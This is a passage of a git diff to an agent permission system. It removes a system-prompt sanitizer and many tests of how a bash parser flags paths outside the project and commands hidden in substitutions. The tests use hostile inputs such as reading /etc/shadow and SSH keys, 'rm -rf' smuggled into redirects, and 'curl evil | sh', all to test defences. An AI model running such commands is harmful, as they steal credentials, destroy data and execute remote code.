Per-surface catch-alls (`bash["*"]`, `mcp["*"]`, etc.) are expressed as - * regular config rules from `normalizeFlatConfig()` and sit at higher indices - * in the composed array, so they override this default via last-match-wins. + * Per-surface catch-alls (`bash["*"]`, `mcp["*"]`, etc.) are regular config + * rules. Their exact surface is selected before the universal fallback when the + * value-pattern specificity is tied. */ export function synthesizeDefaults( universalDefault: PermissionState, diff --git a/pi-permission-system/src/system-prompt-sanitizer.ts b/pi-permission-system/src/system-prompt-sanitizer.ts deleted file mode 100644 index e4c82de..0000000 --- a/pi-permission-system/src/system-prompt-sanitizer.ts +++ /dev/null @@ -1,274 +0,0 @@ -export interface SanitizeSystemPromptResult { - prompt: string; - removed: boolean; -} - -type LineSection = { - start: number; - end: number; -}; - -type GuidelineRule = { - matches: (guideline: string) => boolean; - shouldKeep: (allowedTools: ReadonlySet) => boolean; -}; - -const AVAILABLE_TOOLS_SECTION_HEADER = "Available tools:"; -const GUIDELINES_SECTION_HEADER = "Guidelines:"; - -const TOOL_GUIDELINE_RULES: readonly GuidelineRule[] = [ - { - matches: (guideline) => - guideline === "use bash for file operations like ls, rg, find", - shouldKeep: (allowedTools) => allowedTools.has("bash"), - }, - { - matches: (guideline) => - guideline === - "prefer grep/find/ls tools over bash for file exploration (faster, respects .gitignore)", - shouldKeep: (allowedTools) => - allowedTools.has("bash") && - (allowedTools.has("grep") || - allowedTools.has("find") || - allowedTools.has("ls")), - }, - { - matches: (guideline) => - guideline === - "use read to examine files before editing. you must use this tool instead of cat or sed." || - guideline === "use read to examine files instead of cat or sed.", - shouldKeep: (allowedTools) => allowedTools.has("read"), - }, - { - matches: (guideline) => - guideline === - "use edit for precise changes (old text must match exactly)", - shouldKeep: (allowedTools) => allowedTools.has("edit"), - }, - { - matches: (guideline) => - guideline === "use write only for new files or complete rewrites", - shouldKeep: (allowedTools) => allowedTools.has("write"), - }, - { - matches: (guideline) => - guideline === - "when summarizing your actions, output plain text directly - do not use cat or bash to display what you did", - shouldKeep: (allowedTools) => - allowedTools.has("edit") || allowedTools.has("write"), - }, - { - matches: (guideline) => - guideline === - "use task when work should be delegated to one or more specialized agents instead of handled entirely in the current session.", - shouldKeep: (allowedTools) => allowedTools.has("task"), - }, - { - matches: (guideline) => - guideline === - "use mcp for mcp discovery first: search by capability, describe one exact tool name, then call it.", - shouldKeep: (allowedTools) => allowedTools.has("mcp"), - }, -]; - -function normalizePrompt(prompt: string): string { - return (prompt || "").replace(/\r\n/g, "\n"); -} - -function collapseExtraBlankLines(text: string): string { - return text.replace(/\n{3,}/g, "\n\n").trimEnd(); -} - -function normalizeGuidelineText(line: string): string { - return line - .trim() - .replace(/^[-*]\s+/, "") - .replace(/\s+/g, " ") - .toLowerCase(); -} - -function isTopLevelSectionHeader(line: string): boolean { - const trimmed = line.trim(); - return ( - trimmed.length > 0 && trimmed.endsWith(":") && !trimmed.startsWith("-") - ); -} - -function isSectionBodyLine(line: string): boolean { - const trimmed = line.trim(); - if (trimmed.length === 0) return true; // blank line - if (trimmed.startsWith("- ")) return true; // bullet - if (line !== line.trimStart()) return true; // indented - return false; -} - -function findSection( - lines: readonly string[], - header: string, -): LineSection | null { - const start = lines.findIndex((line) => line.trim() === header); - if (start === -1) { - return null; - } - - // If a subsequent recognised section header exists, use it as the boundary. - // This preserves the original behaviour for the common case where sections - // are adjacent (e.g. "Available tools:" followed by "Guidelines:") and - // ensures any prose continuation between the two headers is also removed. - for (let index = start + 1; index < lines.length; index += 1) { - if (isTopLevelSectionHeader(lines[index])) { - return { start, end: index }; - } - } - - // No subsequent section header — stop at the first non-body line so that - // content after the section (e.g. custom user notes) is not silently deleted. - let end = start + 1; - for (let index = start + 1; index < lines.length; index += 1) { - if (!isSectionBodyLine(lines[index])) { - end = index; - break; - } - end = index + 1; - } - - return { start, end }; -} - -/** - * Tool name from an `Available tools:` bullet (`- read: …` -> `read`), or - * `null` for non-tool lines (blank lines, boilerplate prose). Matches the - * first token after the bullet marker, with or without a trailing colon. - */ -function extractToolBulletName(line: string): string | null { - const match = /^\s*-\s+([A-Za-z0-9_-]+)/.exec(line); - return match ? match[1] : null; -} - -/** - * Narrow the `Available tools:` section to the allowed tools: keep allowed-tool - * bullet lines and any non-tool prose, drop denied/inactive bullet lines. When - * no tool bullet survives, remove the section header too. This mirrors what Pi - * itself renders for the active tool set, so the result is byte-stable across - * turns regardless of whether the input still carries the full default listing. - */ -function narrowAvailableToolsSection( - lines: readonly string[], - allowedTools: ReadonlySet, -): { lines: string[]; removed: boolean } { - const section = findSection(lines, AVAILABLE_TOOLS_SECTION_HEADER); - if (!section) { - return { lines: [...lines], removed: false }; - } - - const before = lines.slice(0, section.start); - const header = lines[section.start]; - const body = lines.slice(section.start + 1, section.end); - const after = lines.slice(section.end); - - const filteredBody = body.filter((line) => { - const toolName = extractToolBulletName(line); - if (toolName === null) { - return true; // keep blank lines and non-tool boilerplate - } - return allowedTools.has(toolName); - }); - - const removed = filteredBody.length !== body.length; - if (!removed) { - return { lines: [...lines], removed: false }; - } - - const hasToolBullet = filteredBody.some( - (line) => extractToolBulletName(line) !== null, - ); - if (!hasToolBullet) { - return { lines: [...before, ...after], removed: true }; - } - - return { - lines: [...before, header, ...filteredBody, ...after], - removed: true, - }; -} - -function shouldKeepGuideline( - line: string, - allowedTools: ReadonlySet, -): boolean { - const normalized = normalizeGuidelineText(line); - - for (const rule of TOOL_GUIDELINE_RULES) { - if (rule.matches(normalized)) { - return rule.shouldKeep(allowedTools); - } - } - - return true; -} - -function sanitizeGuidelinesSection( - lines: readonly string[], - allowedTools: ReadonlySet, -): { lines: string[]; removed: boolean } { - const section = findSection(lines, GUIDELINES_SECTION_HEADER); - if (!section) { - return { lines: [...lines], removed: false }; - } - - const before = lines.slice(0, section.start + 1); - const after = lines.slice(section.end); - const body = lines.slice(section.start + 1, section.end); - const filteredBody = body.filter((line) => { - const trimmed = line.trim(); - if (!trimmed.startsWith("- ")) { - return true; - } - - return shouldKeepGuideline(line, allowedTools); - }); - - const removed = filteredBody.length !== body.length; - if (!removed) { - return { lines: [...lines], removed: false }; - } - - const hasBullet = filteredBody.some((line) => line.trim().startsWith("- ")); - if (!hasBullet) { - return { - lines: [...lines.slice(0, section.start), ...after], - removed: true, - }; - } - - return { - lines: [...before, ...filteredBody, ...after], - removed: true, - }; -} - -export function sanitizeAvailableToolsSection( - systemPrompt: string, - allowedToolNames: readonly string[], -): SanitizeSystemPromptResult { - const allowedTools = new Set( - allowedToolNames.map((toolName) => toolName.trim()).filter(Boolean), - ); - const normalizedLines = normalizePrompt(systemPrompt).split("\n"); - const narrowedToolsSection = narrowAvailableToolsSection( - normalizedLines, - allowedTools, - ); - const sanitizedGuidelines = sanitizeGuidelinesSection( - narrowedToolsSection.lines, - allowedTools, - ); - const removed = narrowedToolsSection.removed || sanitizedGuidelines.removed; - - return { - prompt: removed - ? collapseExtraBlankLines(sanitizedGuidelines.lines.join("\n")) - : systemPrompt, - removed, - }; -} diff --git a/pi-permission-system/src/tool-access-extractor-registry.ts b/pi-permission-system/src/tool-access-extractor-registry.ts index 26e6511..a204c3a 100644 --- a/pi-permission-system/src/tool-access-extractor-registry.ts +++ b/pi-permission-system/src/tool-access-extractor-registry.ts @@ -3,7 +3,7 @@ * * Lets sibling extensions declare the filesystem path a tool will access when * the tool's input shape is not the default `input.path` convention, so the - * cross-cutting `path` and `external_directory` gates can see it. + * cross-cutting `path` gate can see it. * One extractor per tool name; duplicate registration throws. */ diff --git a/pi-permission-system/src/tool-registry.ts b/pi-permission-system/src/tool-registry.ts index c0a776b..f52b69a 100644 --- a/pi-permission-system/src/tool-registry.ts +++ b/pi-permission-system/src/tool-registry.ts @@ -1,12 +1,9 @@ import { getNonEmptyString, toRecord } from "./value-guards"; -/** Narrow interface for the Pi tool API subset used by handler classes. */ +/** Narrow interface for the read-only Pi tool registry used by the gate. */ export interface ToolRegistry { /** All registered tools (`pi.getAllTools()` — `ToolInfo[]`); kept defensively wide. */ getAll(): unknown[]; - /** Currently active tool names (`pi.getActiveTools()`). */ - getActive(): string[]; - setActive(names: string[]): void; } export type ToolRegistrationCheckResult = diff --git a/pi-permission-system/test/access-intent/bash/program.test.ts b/pi-permission-system/test/access-intent/bash/program.test.ts index 8c0b6d2..27e73ee 100644 --- a/pi-permission-system/test/access-intent/bash/program.test.ts +++ b/pi-permission-system/test/access-intent/bash/program.test.ts @@ -19,7 +19,7 @@ vi.mock("node:fs", async () => { }); import { BashProgram } from "#src/access-intent/bash/program"; -import { pathFlavorForPlatform, win32PathFlavor } from "#src/path/path-flavor"; +import { pathFlavorForPlatform } from "#src/path/path-flavor"; import { PathNormalizer } from "#src/path-normalizer"; import { createTmpFixture } from "#test/helpers/tmp-fixture"; @@ -285,1111 +285,4 @@ describe("BashProgram", () => { }); }); - describe("externalPaths", () => { - const cwd = "/projects/my-app"; - const normalizer = new PathNormalizer( - pathFlavorForPlatform(process.platform), - cwd, - ); - - beforeEach(() => { - realpathSync.mockReset(); - realpathSync.mockImplementation((p: string) => p); - }); - - it("returns absolute paths resolving outside cwd", async () => { - const program = await BashProgram.parse("cat /etc/hosts", normalizer); - // Subset matcher: the path is normalized before comparison. - expect(program.externalPaths().map((p) => p.value())).toContain( - "/etc/hosts", - ); - }); - - describe("operands of nested commands hosted in a redirect (#741)", () => { - it.each([ - ["a redirect destination", "echo hi > $(cat /etc/shadow)"], - ["an appending destination", "echo hi >> $(cat /etc/shadow)"], - ["an input process substitution", "cat < <(cat /etc/shadow)"], - ["a concatenated destination", "echo hi > ${DIR}/$(cat /etc/shadow)"], - ])("projects an operand hosted in %s", async (_label, command) => { - const program = await BashProgram.parse(command, normalizer); - expect(program.externalPaths().map((p) => p.value())).toContain( - "/etc/shadow", - ); - }); - - it("still projects a plain redirect destination", async () => { - const program = await BashProgram.parse( - "echo hi > /etc/passwd", - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toContain( - "/etc/passwd", - ); - }); - }); - - describe("bare tokens escaping the tree via symlink (#645)", () => { - const tmp = createTmpFixture(); - let root: string; - let probeNormalizer: PathNormalizer; - // Canonical temp dir: on macOS the tmpdir is itself a symlink, so a - // lexical path would disagree with every canonical form under assertion. - let canonicalDir: (prefix: string) => string; - - beforeEach(async () => { - const actual = - await vi.importActual("node:fs"); - realpathSync.mockImplementation(actual.realpathSync); - canonicalDir = (prefix) => actual.realpathSync(tmp.dir(prefix)); - root = canonicalDir("pi-perm-ext-cwd-"); - probeNormalizer = new PathNormalizer( - pathFlavorForPlatform(process.platform), - root, - ); - }); - - afterEach(() => { - tmp.cleanup(); - }); - - it("flags an in-project bare symlink whose target is outside cwd", async () => { - // The issue's headline repro: - // printf 'test' > /tmp/pi-permission-test-secret - // ln -s /tmp/pi-permission-test-secret outside-link - // cat outside-link - const outsideRoot = canonicalDir("pi-perm-ext-target-"); - const secret = tmp.file(outsideRoot, "pi-permission-test-secret", "s"); - tmp.symlink(root, "outside-link", secret); - - const program = await BashProgram.parse( - "cat outside-link", - probeNormalizer, - ); - expect(program.externalPaths().map((p) => p.boundaryValue())).toContain( - secret, - ); - }); - - it("does not flag a bare token resolving inside cwd", async () => { - tmp.file(root, "inside.txt", "x"); - const program = await BashProgram.parse( - "cat inside.txt", - probeNormalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("does not flag a bare word naming nothing", async () => { - const program = await BashProgram.parse("git status", probeNormalizer); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("flags a bare symlink to an outside directory", async () => { - const outsideRoot = canonicalDir("pi-perm-ext-dir-"); - tmp.symlink(root, "vault", outsideRoot); - const program = await BashProgram.parse("ls vault", probeNormalizer); - expect(program.externalPaths().map((p) => p.boundaryValue())).toContain( - outsideRoot, - ); - }); - }); - - it("flags a path embedded in a long option (#645)", async () => { - // The issue's second repro: `grep --file=…` under an allowing `grep *` - // rule. The flag token is rejected by the shape prelude, so the value is - // split out at collection and classified on its own. - const program = await BashProgram.parse( - "grep --file=/tmp/pi-permission-patterns target", - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toContain( - "/tmp/pi-permission-patterns", - ); - }); - - it("excludes paths within cwd", async () => { - const program = await BashProgram.parse("cat src/index.ts", normalizer); - expect(program.externalPaths()).toHaveLength(0); - }); - - describe("win32 projection (injected platform, no vi.mock node:path)", () => { - const winNormalizer = new PathNormalizer( - win32PathFlavor, - "C:\\Projects\\App", - ); - - it("expands $HOME before any platform-specific token handling", async () => { - // Expansion happens at collection, upstream of the flavor, so the - // token the projection carries is the expanded path on every host. - const program = await BashProgram.parse('ls "$HOME/x"', winNormalizer); - expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([ - `${homedir()}/x`, - ]); - }); - - it("keeps a non-mount POSIX absolute literal (Git Bash semantics)", async () => { - // On win32, Pi core runs Git Bash: /etc is an MSYS install-root path, - // not C:\etc, so it is matched and displayed as typed (#533). - const program = await BashProgram.parse( - "cat /etc/hosts", - winNormalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toEqual([ - "/etc/hosts", - ]); - }); - - it("keeps a non-mount POSIX absolute as a literal rule candidate", async () => { - const program = await BashProgram.parse("cat /tmp/foo", winNormalizer); - const candidate = program.pathRuleCandidates()[0]; - expect(candidate.path.matchValues()).toEqual(["/tmp/foo"]); - }); - - it("folds a drive-mount cd so a following traversal resolves under it", async () => { - // cd /c/Other → base C:\Other; ../x resolves to C:\x (not C:\c\x). - // The cd argument itself is also collected and translated (c:\other). - const program = await BashProgram.parse( - "cd /c/Other && cat ../x", - winNormalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toEqual([ - "c:\\other", - "c:\\x", - ]); - }); - - it("degrades a non-mount POSIX absolute cd to a conservative unknown base", async () => { - // Git Bash's /tmp is install-dependent, so `cd /tmp` makes the base - // unresolvable; a following traversal is flagged conservatively against - // cwd for display, and /tmp itself is a literal external path (#533). - const program = await BashProgram.parse( - "cd /tmp && cat ../x", - winNormalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toEqual([ - "/tmp", - "c:\\projects\\x", - ]); - }); - - it("flags a ..-traversal escaping cwd under win32 rules", async () => { - const program = await BashProgram.parse( - "cat ../sibling/x", - winNormalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toEqual([ - "c:\\projects\\sibling\\x", - ]); - }); - - it("folds a current-shell cd so an in-cwd ..-traversal is not flagged", async () => { - const program = await BashProgram.parse( - "cd sub && cat ../x", - winNormalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("recognizes a backslash-relative token as a path rule candidate (#520)", async () => { - const program = await BashProgram.parse("cat dir\\file", winNormalizer); - const candidate = program.pathRuleCandidates()[0]; - expect(candidate.token).toBe("dir\\file"); - }); - - it("resolves a backslash-relative token to the same win32 aliases its forward-slash equivalent matches (#520)", async () => { - const backslashProgram = await BashProgram.parse( - "cat dir\\file", - winNormalizer, - ); - const forwardSlashProgram = await BashProgram.parse( - "cat dir/file", - winNormalizer, - ); - const backslashAliases = backslashProgram - .pathRuleCandidates()[0] - .path.matchValues(); - // The backslash token resolves to the canonical win32 path plus its - // win32-normalized relative alias. - expect(backslashAliases).toEqual([ - "c:\\projects\\app\\dir\\file", - "dir\\file", - ]); - // The forward-slash equivalent carries the same aliases plus a redundant - // raw "dir/file" that folds to "dir\file" under win32 separator folding, - // so every path rule matches both forms identically (#520). - const forwardSlashAliases = forwardSlashProgram - .pathRuleCandidates()[0] - .path.matchValues(); - for (const alias of backslashAliases) { - expect(forwardSlashAliases).toContain(alias); - } - }); - }); - - describe("posix backslash-relative tokens stay bare (#520)", () => { - it("does not treat a backslash-relative token as a path rule candidate on posix", async () => { - const program = await BashProgram.parse("cat dir\\file", normalizer); - expect(program.pathRuleCandidates()).toHaveLength(0); - }); - }); - - describe("resolved shell expansions (#694)", () => { - it("flags $HOME/… whose target does not exist", async () => { - // The token expands to an absolute path before classification, so the - // strict gate accepts it by shape — no longer dependent on the #645 - // existence probe rescuing it. - const program = await BashProgram.parse( - 'touch "$HOME/pi-permission-system-repro-new"', - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toEqual([ - join(homedir(), "pi-permission-system-repro-new"), - ]); - }); - - it("flags a bare ${HOME}", async () => { - const program = await BashProgram.parse('ls "${HOME}"', normalizer); - expect(program.externalPaths().map((p) => p.value())).toEqual([ - homedir(), - ]); - }); - - it("flags ${HOME}/…", async () => { - const program = await BashProgram.parse( - 'ls "${HOME}/somewhere"', - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toEqual([ - join(homedir(), "somewhere"), - ]); - }); - - it("flags a $HOME redirect destination", async () => { - const program = await BashProgram.parse( - "echo hi > $HOME/out.txt", - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toEqual([ - join(homedir(), "out.txt"), - ]); - }); - - it("yields exactly one entry for an existing $HOME target", async () => { - // Previously the existence probe promoted this token; now the strict - // shape gate accepts it. It must not be collected through both. - const program = await BashProgram.parse('ls "$HOME"', normalizer); - expect(program.externalPaths().map((p) => p.value())).toEqual([ - homedir(), - ]); - }); - - it("gives $HOME/… and its literal spelling the same projection", async () => { - const expanded = await BashProgram.parse( - `ls "${join(homedir(), "docs")}"`, - normalizer, - ); - const spelled = await BashProgram.parse('ls "$HOME/docs"', normalizer); - expect(spelled.externalPaths().map((p) => p.value())).toEqual( - expanded.externalPaths().map((p) => p.value()), - ); - }); - - it("resolves $HOME/… independently of an unknown effective base", async () => { - const program = await BashProgram.parse( - 'cd "$DIR" && cat "$HOME/.ssh/id_rsa"', - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toEqual([ - join(homedir(), ".ssh/id_rsa"), - ]); - }); - - it("resolves $PWD against the cd-folded base", async () => { - // `/etc` is flagged by the `cd` argument token itself, as it is for any - // absolute `cd` target; `$PWD/passwd` contributes the second entry. - const program = await BashProgram.parse( - 'cd /etc && ls "$PWD/passwd"', - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toEqual([ - "/etc", - "/etc/passwd", - ]); - }); - - it("does not flag a $PWD token that stays inside the working directory", async () => { - const program = await BashProgram.parse('ls "$PWD/src"', normalizer); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("does not resolve an expansion carrying an operator", async () => { - const program = await BashProgram.parse( - 'ls "${HOME:-/tmp}/x"', - normalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("does not resolve a variable through an assignment (accepted residual)", async () => { - // ADR 0009 keeps assignment-then-reference an accepted residual; this - // pins the declined behavior so a future change is a deliberate one. - const program = await BashProgram.parse( - 'CURRENT="$HOME"; ls "$CURRENT"', - normalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - }); - - describe("effective working directory projection", () => { - it("folds a sequence of current-shell cd commands", async () => { - // cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside). - const program = await BashProgram.parse( - "cd a && cd b && cat ../c", - normalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("catches an escape masked by a later cd that the single-base model missed", async () => { - // Effective dir after `cd nested/deep && cd ..` is cwd/nested, so - // ../../etc/passwd escapes to /projects/etc/passwd. - const program = await BashProgram.parse( - "cd nested/deep && cd .. && cat ../../etc/passwd", - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toContain( - "/projects/etc/passwd", - ); - }); - - it("folds a cd that is not the first command", async () => { - // The single-base model ignored a cd that was not first; now `cd a` - // folds, so ../b resolves to cwd/b (inside) and is not flagged. - const program = await BashProgram.parse( - "mkdir d && cd a && cat ../b", - normalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("does not fold a backgrounded cd", async () => { - // `cd a &` runs in a subshell, so it must not update the running - // directory; ../b resolves against cwd and escapes. - const program = await BashProgram.parse("cd a & cat ../b", normalizer); - expect(program.externalPaths().map((p) => p.value())).toContain( - "/projects/b", - ); - }); - - it("does not fold a cd inside a pipeline", async () => { - // Pipeline members run in subshells; the cd must not leak. - const program = await BashProgram.parse( - "cd nested | cat ../b", - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toContain( - "/projects/b", - ); - }); - - it("folds a cd inside a subshell for paths within that subshell", async () => { - // Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x. - const program = await BashProgram.parse( - "( cd sub && cat ../x )", - normalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("does not leak a subshell cd to following commands", async () => { - // The subshell cd resets on exit, so ../y resolves against cwd. - const program = await BashProgram.parse( - "( cd sub ) && cat ../y", - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toContain( - "/projects/y", - ); - }); - - it("persists a cd inside a brace group to later commands in the group", async () => { - // Brace groups run in the current shell, so cd sub persists to cat ../x. - const program = await BashProgram.parse( - "{ cd sub; cat ../x; }", - normalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("persists a brace-group cd to following sibling commands", async () => { - const program = await BashProgram.parse( - "{ cd sub; } && cat ../x", - normalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("conservatively flags a relative path inside a command substitution", async () => { - // Interior cd folding inside substitutions is deferred: the interior - // inherits the enclosing base (cwd), so ../r is flagged rather than - // resolved against cwd/q. Conservative — never misses an escape. - const program = await BashProgram.parse( - "echo $(cd q && cat ../r)", - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toContain( - "/projects/r", - ); - }); - - it("flags relative paths conservatively after a non-literal cd", async () => { - // cd "$DIR" makes the effective dir unknowable; ../x could be anywhere, - // so it is flagged (least-privilege). - const program = await BashProgram.parse( - 'cd "$DIR" && cat ../x', - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toContain( - "/projects/x", - ); - }); - - it("flags even a within-cwd relative path after a non-literal cd", async () => { - // Conservative cost: src/../within.txt resolves inside cwd but is still - // flagged because the effective dir is unknown. - const program = await BashProgram.parse( - 'cd "$DIR" && cat src/../within.txt', - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toContain( - "/projects/my-app/within.txt", - ); - }); - - it("still resolves an absolute path normally after a non-literal cd", async () => { - // Absolute paths are base-independent; one inside cwd is not flagged - // even when the effective dir is unknown. - const program = await BashProgram.parse( - 'cd "$DIR" && cat /projects/my-app/x.txt', - normalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("treats `cd -` as an unknown effective directory", async () => { - const program = await BashProgram.parse("cd - && cat ../x", normalizer); - expect(program.externalPaths().map((p) => p.value())).toContain( - "/projects/x", - ); - }); - - it("recovers a known base when a later cd is absolute", async () => { - // cd "$DIR" → unknown, then cd /projects/my-app/src → known again, so - // ../x resolves to cwd and is not flagged. - const program = await BashProgram.parse( - 'cd "$DIR" && cd /projects/my-app/src && cat ../x', - normalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("folds a leading current-shell cd across a redirect-then-pipe", async () => { - // tree-sitter-bash groups `cd a && pnpm x 2>&1 | tail` as - // `(cd a && pnpm x 2>&1) | tail`, burying the current-shell `cd a` - // inside a `pipeline` node. Bash precedence (`|` binds tighter than - // `&&`) makes `cd a` current-shell, so the fold must persist past the - // pipeline: ../b resolves against cwd/a (inside), not cwd (#454). - const program = await BashProgram.parse( - "cd a && pnpm x 2>&1 | tail ; cat ../b", - normalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("persists the fold past a redirect-then-pipe to a later cd", async () => { - // The issue reproduction: the fold from `cd a/b` survives the - // redirect-then-pipe, so the trailing `cd .. && cd ..` lands back at - // cwd instead of escaping one level above. - const program = await BashProgram.parse( - "cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..", - normalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - - it("does not fold the terminal piped command of the first stage", async () => { - // Fail-closed: `cd b` is the terminal command of the first stage, i.e. - // the real pipe stage (a subshell), so it must NOT fold. With the - // correct base cwd/a, ../../x escapes to /projects/x. If `cd b` were - // wrongly folded, the base would be cwd/a/b and ../../x would stay - // inside — a fail-open regression this test pins. - const program = await BashProgram.parse( - "cd a && cd b 2>&1 | tail ; cat ../../x", - normalizer, - ); - expect(program.externalPaths().map((p) => p.value())).toContain( - "/projects/x", - ); - }); - - it("resolves a downstream pipe stage against the folded base", async () => { - // The stage after the `|` runs in a subshell that inherits the folded - // cwd/a, so ../foo resolves inside cwd rather than escaping against the - // pre-cd base. - const program = await BashProgram.parse( - "cd a && pnpm x 2>&1 | cat ../foo", - normalizer, - ); - expect(program.externalPaths()).toHaveLength(0); - }); - }); - - it("flags an absolute in-cwd path that resolves externally via a symlink, returning the typed form", async () => { - // The strict classifier only processes absolute tokens, so the escape - // surface is `cat /cwd/link/hosts` (absolute) where `link -> /etc`. - // The boundary decision still uses the canonical form (so the path is - // flagged), but the returned value is the typed/lexical form so config - // patterns match the path as the user wrote it (#418). - realpathSync.mockImplementation((p: string) => { - if (p === "/projects/my-app/link/hosts") return "/etc/hosts"; - return p; - }); - const program = await BashProgram.parse( - "cat /projects/my-app/link/hosts", - normalizer, - ); - const external = program.externalPaths().map((p) => p.value()); - expect(external).toContain("/projects/my-app/link/hosts"); - expect(external).not.toContain("/etc/hosts"); - }); - - it("does not flag a token that resolves within a symlinked cwd", async () => { - // Simulates /tmp -> /private/tmp on macOS; cwd is the canonical form. - const symlinkCwd = "/private/tmp"; - realpathSync.mockImplementation((p: string) => { - if (p === "/tmp") return "/private/tmp"; - if (p.startsWith("/tmp/")) return `/private/tmp${p.slice(4)}`; - return p; - }); - const program = await BashProgram.parse( - "cat /tmp/workspace/file.ts", - new PathNormalizer(pathFlavorForPlatform(process.platform), symlinkCwd), - ); - expect(program.externalPaths()).toHaveLength(0); - }); - }); - - describe("commands", () => { - const cwd = "/projects/my-app"; - const normalizer = new PathNormalizer( - pathFlavorForPlatform(process.platform), - cwd, - ); - - it("returns a single-element list for a lone command", async () => { - const program = await BashProgram.parse("npm install pkg", normalizer); - expect(program.commands()).toEqual([{ text: "npm install pkg" }]); - }); - - it("splits an && chain", async () => { - const program = await BashProgram.parse("cd /p && npm i x", normalizer); - expect(program.commands()).toEqual([ - { text: "cd /p" }, - { text: "npm i x" }, - ]); - }); - - it("splits || , ; and & separators", async () => { - expect( - (await BashProgram.parse("a || b", normalizer)).commands(), - ).toEqual([{ text: "a" }, { text: "b" }]); - expect((await BashProgram.parse("a ; b", normalizer)).commands()).toEqual( - [{ text: "a" }, { text: "b" }], - ); - expect((await BashProgram.parse("a & b", normalizer)).commands()).toEqual( - [{ text: "a" }, { text: "b" }], - ); - }); - - it("splits a pipeline into its commands", async () => { - const program = await BashProgram.parse("cat f | grep b", normalizer); - expect(program.commands()).toEqual([ - { text: "cat f" }, - { text: "grep b" }, - ]); - }); - - it("splits newline-separated commands", async () => { - const program = await BashProgram.parse("foo\nbar", normalizer); - expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]); - }); - - it("does not split operators inside quotes", async () => { - const program = await BashProgram.parse("echo 'x && y'", normalizer); - expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]); - }); - - it("captures the command of a redirected statement without the redirect", async () => { - const program = await BashProgram.parse( - "npm install > out.txt", - normalizer, - ); - expect(program.commands()).toEqual([{ text: "npm install" }]); - }); - - describe("commands hosted in a redirect target (#741)", () => { - it.each([ - ["echo hi > $(rm x)", "echo hi", "rm x"], - ["echo hi >> $(rm b)", "echo hi", "rm b"], - ["echo hi 2> `rm d`", "echo hi", "rm d"], - ["echo hi &> $(rm q)", "echo hi", "rm q"], - ])("descends into %s", async (command, enclosing, inner) => { - const program = await BashProgram.parse(command, normalizer); - expect(program.commands()).toEqual([ - { text: enclosing }, - { text: inner, context: "command_substitution" }, - ]); - }); - - it("descends into a process substitution read as input", async () => { - const program = await BashProgram.parse("cat < <(rm c)", normalizer); - expect(program.commands()).toEqual([ - { text: "cat" }, - { text: "rm c", context: "process_substitution" }, - ]); - }); - - it("descends into a substitution concatenated into the destination", async () => { - const program = await BashProgram.parse( - "echo hi > ${DIR}/$(rm z)", - normalizer, - ); - expect(program.commands()).toEqual([ - { text: "echo hi" }, - { text: "rm z", context: "command_substitution" }, - ]); - }); - - it("descends into a redirect on a chained command", async () => { - const program = await BashProgram.parse( - "cd /p && echo hi > $(rm x)", - normalizer, - ); - expect(program.commands()).toEqual([ - { text: "cd /p" }, - { text: "echo hi" }, - { text: "rm x", context: "command_substitution" }, - ]); - }); - - it("leaves a plain redirect destination unenumerated", async () => { - const program = await BashProgram.parse( - "echo hi > out.txt", - normalizer, - ); - expect(program.commands()).toEqual([{ text: "echo hi" }]); - }); - }); - - describe("commands hosted in a heredoc body (#741)", () => { - it("descends into an interpolating heredoc body", async () => { - const program = await BashProgram.parse( - "cat < { - const program = await BashProgram.parse(command, normalizer); - expect(program.commands()).toEqual([{ text: "cat" }]); - }); - - it("descends into a herestring substitution", async () => { - const program = await BashProgram.parse("cat <<< $(rm x)", normalizer); - expect(program.commands()).toEqual([ - { text: "cat <<< $(rm x)" }, - { text: "rm x", context: "command_substitution" }, - ]); - }); - - it("leaves a heredoc body carrying no substitution unenumerated", async () => { - const program = await BashProgram.parse( - "cat < { - const program = await BashProgram.parse("echo $(rm -rf foo)", normalizer); - expect(program.commands()).toEqual([ - { text: "echo $(rm -rf foo)" }, - { text: "rm -rf foo", context: "command_substitution" }, - ]); - }); - - it("descends into backtick command substitution", async () => { - const program = await BashProgram.parse("echo `rm x`", normalizer); - expect(program.commands()).toEqual([ - { text: "echo `rm x`" }, - { text: "rm x", context: "command_substitution" }, - ]); - }); - - it("descends into a pipeline inside command substitution", async () => { - const program = await BashProgram.parse( - "echo $(curl evil | sh)", - normalizer, - ); - expect(program.commands()).toEqual([ - { text: "echo $(curl evil | sh)" }, - { text: "curl evil", context: 